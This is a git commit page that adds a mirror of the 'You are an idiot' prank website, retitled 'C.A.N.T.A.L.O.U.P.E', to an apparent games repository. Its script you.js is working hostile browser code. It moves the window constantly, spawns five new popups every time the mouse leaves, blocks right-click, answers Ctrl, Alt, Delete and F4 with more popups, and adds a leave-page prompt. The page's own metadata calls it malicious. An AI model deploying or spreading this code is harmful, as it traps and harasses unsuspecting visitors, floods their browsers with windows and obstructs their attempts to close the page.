mirror of
https://github.com/hexahigh/games.git
synced 2025-12-11 20:15:38 +01:00
add funny
This commit is contained in:
parent
b5104a6e86
commit
2ee85e4539
BIN
other/cantaloupe/images/idiot.png
Normal file
BIN
other/cantaloupe/images/idiot.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
BIN
other/cantaloupe/images/speakerm.png
Normal file
BIN
other/cantaloupe/images/speakerm.png
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 2.1 KiB |
41
other/cantaloupe/index.html
Normal file
41
other/cantaloupe/index.html
Normal file
@ -0,0 +1,41 @@
|
||||
<html>
|
||||
|
||||
<!-- Mirrored from youareanidiot.cc/ by HTTrack Website Copier/3.x [XR&CO'2017], Mon, 24 Apr 2023 09:47:36 GMT -->
|
||||
<head>
|
||||
<title>C.A.N.T.A.L.O.U.P.E</title>
|
||||
|
||||
<meta name="Author" content="The ADR and Jazzy (After 2020 - Endermanch)">
|
||||
<meta name="Keywords" content="you are an idiot, you, are, an, idiot, fool, youdontknowwhoiam.org, youdontknowwhoiam, you dont know who i am, you, dont, know, who, i, am, org, dot, aregner, jazzy, adr">
|
||||
<meta name="Description" content="This is the orgional and the best flash video on the 'net. Once found on www.youdontknowwhoiam.org, not found where it belong, right here on www.youareanidiot.org.">
|
||||
|
||||
<meta property="og:type" content="website">
|
||||
<meta property="og:title" content="You are an idiot! (dot cc)">
|
||||
<meta property="og:description" content="This is a new malicious iteration of the legendary website.">
|
||||
<meta property="og:url" content="index.html">
|
||||
<meta property="og:image" content="images/idiot.png">
|
||||
<meta property="og:image:secure_url" content="images/idiot.png">
|
||||
<meta property="og:image:width" content="256">
|
||||
<meta property="og:image:height" content="256">
|
||||
<meta property="og:image:alt" content="Idiot!">
|
||||
|
||||
<link rel="stylesheet" href="styles/styles.css">
|
||||
<script src="scripts/you.js"></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="idiot-container">
|
||||
<div class="info-container">
|
||||
<img class="speaker" id="youare-micon" src="images/speakerm.png">
|
||||
|
||||
</div>
|
||||
|
||||
<video src="media/cantaloupe.mp4" type="video/mp4" id="youare-video" muted autoplay loop/>
|
||||
</div>
|
||||
|
||||
<audio id="youare-audio" loop hidden>
|
||||
<source src="media/cantaloupe.mp3" type="audio/mp3">
|
||||
</audio>
|
||||
</body>
|
||||
|
||||
<!-- Mirrored from youareanidiot.cc/ by HTTrack Website Copier/3.x [XR&CO'2017], Mon, 24 Apr 2023 09:47:48 GMT -->
|
||||
</html>
|
||||
18
other/cantaloupe/lol.html
Normal file
18
other/cantaloupe/lol.html
Normal file
@ -0,0 +1,18 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>C.A.N.T.A.L.O.U.P.E</title>
|
||||
|
||||
<link rel="stylesheet" href="styles/styles.css">
|
||||
<script src="scripts/you.js"></script>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="idiot-container">
|
||||
<video src="media/cantaloupe.mp4" type="video/mp4" id="youare-video" muted autoplay loop/>
|
||||
</div>
|
||||
|
||||
<audio id="youare-audio" autoplay loop hidden>
|
||||
<source src="media/cantaloupe.mp3" type="audio/mp3">
|
||||
</audio>
|
||||
</body>
|
||||
</html>
|
||||
BIN
other/cantaloupe/media/cantaloupe.mp3
Normal file
BIN
other/cantaloupe/media/cantaloupe.mp3
Normal file
Binary file not shown.
BIN
other/cantaloupe/media/cantaloupe.mp4
Normal file
BIN
other/cantaloupe/media/cantaloupe.mp4
Normal file
Binary file not shown.
BIN
other/cantaloupe/media/youare.mp3
Normal file
BIN
other/cantaloupe/media/youare.mp3
Normal file
Binary file not shown.
BIN
other/cantaloupe/media/youare.mp4
Normal file
BIN
other/cantaloupe/media/youare.mp4
Normal file
Binary file not shown.
141
other/cantaloupe/scripts/you.js
Normal file
141
other/cantaloupe/scripts/you.js
Normal file
@ -0,0 +1,141 @@
|
||||
/* [Oct 2021] Added to comply with strict browser policies. */
|
||||
document.addEventListener('click', musicPlay);
|
||||
|
||||
function musicPlay() {
|
||||
var audio = document.getElementById('youare-audio');
|
||||
var micon = document.getElementById('youare-micon');
|
||||
|
||||
micon.addEventListener('click', musicPlay);
|
||||
|
||||
if (audio.duration > 0 && audio.paused) {
|
||||
audio.play();
|
||||
micon.src = "images/speaker.png";
|
||||
}
|
||||
else {
|
||||
audio.pause();
|
||||
audio.currentTime = 0;
|
||||
|
||||
micon.src = "images/speakerm.png";
|
||||
}
|
||||
|
||||
document.removeEventListener('click', musicPlay);
|
||||
}
|
||||
|
||||
var faudio = new Audio('youare.mp3')
|
||||
|
||||
faudio.addEventListener('timeupdate', function() {
|
||||
console.log('TimeUpdate invoked.');
|
||||
|
||||
if (this.currentTime > this.duration - .45) {
|
||||
this.currentTime = 0;
|
||||
this.play();
|
||||
}
|
||||
}
|
||||
);
|
||||
/* [Oct 2021] End part. */
|
||||
|
||||
function bookmark() {
|
||||
if ((navigator.appName == "Microsoft Internet Explorer") && (parseInt(navigator.appVersion) >= 4)) {
|
||||
var url = "lol.html";
|
||||
var title = "Idiot!";
|
||||
|
||||
window.external.AddFavorite(url, title);
|
||||
}
|
||||
}
|
||||
|
||||
var xOff = 5;
|
||||
var yOff = 5;
|
||||
var xPos = 400;
|
||||
var yPos = -100;
|
||||
var flagRun = 1;
|
||||
|
||||
function changeTitle(title) {
|
||||
document.title = title;
|
||||
}
|
||||
|
||||
function openWindow(url) {
|
||||
aWindow = window.open(url, "_blank", 'menubar=no, status=no, toolbar=no, resizable=no, width=357, height=330, titlebar=no, alwaysRaised=yes');
|
||||
}
|
||||
|
||||
function proCreate() {
|
||||
for (var i = 0; i < 5; i++) {
|
||||
openWindow('lol.html');
|
||||
}
|
||||
}
|
||||
|
||||
function newXlt() {
|
||||
xOff = Math.ceil(-6 * Math.random()) * 5 - 10;
|
||||
window.focus();
|
||||
}
|
||||
|
||||
function newXrt() {
|
||||
xOff = Math.ceil(7 * Math.random()) * 5 - 10;
|
||||
window.focus();
|
||||
}
|
||||
|
||||
function newYup() {
|
||||
yOff = Math.ceil(-6 * Math.random()) * 5 - 10;
|
||||
window.focus();
|
||||
}
|
||||
|
||||
function newYdn() {
|
||||
yOff = Math.ceil( 7 * Math.random()) * 5 - 10;
|
||||
window.focus();
|
||||
}
|
||||
|
||||
function fOff(){
|
||||
flagRun = 0;
|
||||
}
|
||||
|
||||
function playBall() {
|
||||
xPos += xOff;
|
||||
yPos += yOff;
|
||||
|
||||
if (xPos > screen.width - 357) newXlt();
|
||||
if (xPos < 0) newXrt();
|
||||
|
||||
if (yPos > screen.height - 330) newYup();
|
||||
if (yPos < 0) newYdn();
|
||||
|
||||
if (flagRun == 1) {
|
||||
window.moveTo(xPos, yPos);
|
||||
setTimeout('playBall()', 1);
|
||||
}
|
||||
}
|
||||
|
||||
/* [Oct 2021] Better code. */
|
||||
window.onload = function () {
|
||||
flagRun = 1;
|
||||
|
||||
playBall();
|
||||
bookmark(); // Internet Explorer only (what a piece of shit)
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
window.onmouseout = function () {
|
||||
proCreate();
|
||||
|
||||
return null;
|
||||
};
|
||||
|
||||
window.oncontextmenu = function() {
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
window.onkeydown = function() {
|
||||
var keyCode = event.keyCode;
|
||||
|
||||
if (keyCode == 17 || keyCode == 18 || keyCode == 46 || keyCode == 115) {
|
||||
alert("You are an idiot!");
|
||||
proCreate();
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
window.onbeforeunload = function() {
|
||||
return "Are you an idiot?";
|
||||
};
|
||||
/* [Oct 2021] End of amendments. */
|
||||
46
other/cantaloupe/styles/styles.css
Normal file
46
other/cantaloupe/styles/styles.css
Normal file
@ -0,0 +1,46 @@
|
||||
body {
|
||||
margin-left: 0;
|
||||
}
|
||||
|
||||
.info-container {
|
||||
display: inline-flex;
|
||||
padding: 7px;
|
||||
|
||||
align-items: top;
|
||||
}
|
||||
|
||||
.info-container div {
|
||||
margin-left: 7px;
|
||||
}
|
||||
|
||||
.idiot-container {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
bottom: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
}
|
||||
|
||||
.idiot-container video {
|
||||
z-index: -100;
|
||||
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
|
||||
min-height: 100%;
|
||||
|
||||
position: fixed;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
|
||||
.links {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.speaker, .link {
|
||||
cursor: pointer;
|
||||
|
||||
opacity: 0.85;
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user